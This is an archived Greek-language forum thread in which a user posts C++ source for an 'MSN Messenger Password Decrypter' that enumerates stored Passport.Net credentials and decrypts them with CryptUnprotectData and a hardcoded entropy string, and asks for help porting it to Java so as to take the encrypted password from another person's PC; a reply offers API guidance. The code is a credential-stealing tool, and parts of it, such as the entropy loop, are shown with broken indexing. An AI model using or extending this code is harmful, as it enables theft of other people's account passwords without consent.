Προς το περιεχόμενο

MSN Password Decrypter For Windows XP/2003 with C++


Antonio_gr

Προτεινόμενες αναρτήσεις

Δημοσ.

Παιδιά την βοήθεια σας. Βρίκα έναν κώδικα γραμμένο σε c++ που αποκρυπτογραφεί username και password στο msn. Έιχε μερικά λαθάκια και τον διόρθωσα. Έκανα compile και έφτιαξα το .exe file και δουλευει μια χαρά. (Ενημερώνω ότι χρησιμοποίησα Borland C++ Builder 6.). Από προγραμματισμό ξέρω μόνο τα βασικά. Θα δώσω τον κώδικα παρακάτω. Παρακαλώ κάποιος που ξέρει, να μου πεί αν μπορεί να καταλάβει που είναι αποθηκευμένο το κρυπτογραφημένο username (δεν με νοιάζει και τοσο γιατι είναι το e-mail που το μαθαίνεις εύκολα από τον άλλο) και το password έτσι ώστε να φτιάξω σε java ένα project που να γραφει σε ένα αρχείο το κρυπτογραφυμένο password και μετά με διάφορα προγράμματα που κυκλοφορούν να το αποκρυπτογραφώ. Τώρα το πως θα πάρω από τον pc του άλλου το file με τον κρυπτογραφυμένο κωδικό είναι άλλο θέμα :). Έχουν ξαναγίνει τέτοιες συζητήσεις στο forum για το MSN αλλά είπαν ότι δεν υπάρχει λύση. Είναι μια ευκαιρία πιστέυω να το εξελίξουμε. Παρακαλώ βοηθήστε...

Ο Κώδικας είναι.......

 

 

/*

* MSN Messenger Password Decrypter for Windows XP & 2003

* (Compiled-VC++ 7.0, tested on WinXP SP2, MSN Messenger 7.0)

*/

 

#include <windows.h>

#include <wincrypt.h>

#include <stdio.h>

 

#pragma comment(lib, "Crypt32.lib")

 

//Following definitions taken from wincred.h

//[available only in Oct 2002 MS Platform SDK /

//LCC-Win32 Includes]

 

typedef struct _CREDENTIAL_ATTRIBUTEA {

LPSTR Keyword;

DWORD Flags;

DWORD ValueSize;

LPBYTE Value;

}

CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;

 

typedef struct _CREDENTIALA {

DWORD Flags;

DWORD Type;

LPSTR TargetName;

LPSTR Comment;

FILETIME LastWritten;

DWORD CredentialBlobSize;

LPBYTE CredentialBlob;

DWORD Persist;

DWORD AttributeCount;

PCREDENTIAL_ATTRIBUTEA Attributes;

LPSTR TargetAlias;

LPSTR UserName;

}

CREDENTIALA,*PCREDENTIALA;

 

typedef CREDENTIALA CREDENTIAL;

typedef PCREDENTIALA PCREDENTIAL;

 

////////////////////////////////////////////////////////////////////

 

typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR,

DWORD, DWORD *, PCREDENTIALA **);

typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD,

DWORD, PCREDENTIALA *);

typedef VOID (WINAPI *typeCredFree)(PVOID);

 

typeCredEnumerateA pfCredEnumerateA;

typeCredReadA pfCredReadA;

typeCredFree pfCredFree;

 

////////////////////////////////////////////////////////////////////

 

void showBanner()

{

printf("MSN Messenger Password Decrypter for Windows XP/2003\n");

}

 

////////////////////////////////////////////////////////////////////

int main()

{

PCREDENTIAL *CredentialCollection = NULL;

DATA_BLOB blobCrypt, blobPlainText, blobEntropy;

 

//used for filling up blobEntropy

char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll

short int EntropyData[37];

short int tmp;

 

HMODULE hDLL;

DWORD Count, i;

 

showBanner();

 

//Locate CredEnumerate, CredRead, CredFree from advapi32.dll

if( hDLL = LoadLibrary("advapi32.dll") )

{

pfCredEnumerateA =(typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");

pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");

pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");

 

if( pfCredEnumerateA == NULL|| pfCredReadA == NULL || pfCredFree == NULL )

{

printf("error!\n");

return -1;

}

}

 

 

//Get an array of 'credential', satisfying the filter

pfCredEnumerateA("Passport.Net\\*", 0, &Count, &CredentialCollection);

 

if( Count ) //usually this value is only 1

{

 

//Calculate Entropy Data

for(i=0; i<37; i++) // strlen(szEntropyStringSeed) = 37

{

tmp = (short int)szEntropyStringSeed;

tmp <<= 2;

EntropyData = tmp;

}

 

for(i=0; i<Count; i++)

{

blobEntropy.pbData = (BYTE *)&EntropyData;

blobEntropy.cbData = 74; //sizeof(EntropyData)

 

blobCrypt.pbData = CredentialCollection->CredentialBlob;

blobCrypt.cbData = CredentialCollection->CredentialBlobSize;

 

CryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText);

 

printf("Username : %s\n", CredentialCollection->UserName);

printf("Password : %ls\n\n", blobPlainText.pbData);

}

}

 

pfCredFree(CredentialCollection);

}

 

/* EoF */

Δημοσ.

Help για την CredEnumerate:

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthn/security/credenumerate.asp

 

Πρέπει να βρεις πώς γίνεται να καλέσεις Windows API από Java.

 

ΑΝ δεν γίνεται, τότε ξέχνα το, θα έπρεπε να υλοποιήσεις σε Java την CredEnumerate και τις υπόλοιπες συναρτήσεις, το οποίο μπορεί να είναι μέχρι και αδύνατο (π.χ. μπορεί να απαιτεί πρόσβαση σε μητρώο ή οπουδήποτε αλλού και να μην έχεις πρόσβαση σε αυτά με Java).

Δημοσ.

ΚΑΤΑΛΑΒΑ....ΚΑΙ ΕΓΩ ΠΟΥ ΝΟΜΙΖΑ ΟΤΙ ΘΑ ΚΟΙΜΗΘΩ ΝΩΡΙΣ ΣΗΜΕΡΑ¨..:)

ΑΝ ΒΡΩ ΚΑΤΙ ΘΑ ΕΝΗΜΕΡΩΣΩ.ΟΠΟΙΟΣ ΑΛΛΟΣ ΜΠΟΡΕΙ ΑΣ ΒΟΗΘΗΣΕΙ

Αρχειοθετημένο

Αυτό το θέμα έχει αρχειοθετηθεί και είναι κλειστό για περαιτέρω απαντήσεις.

  • Δημιουργία νέου...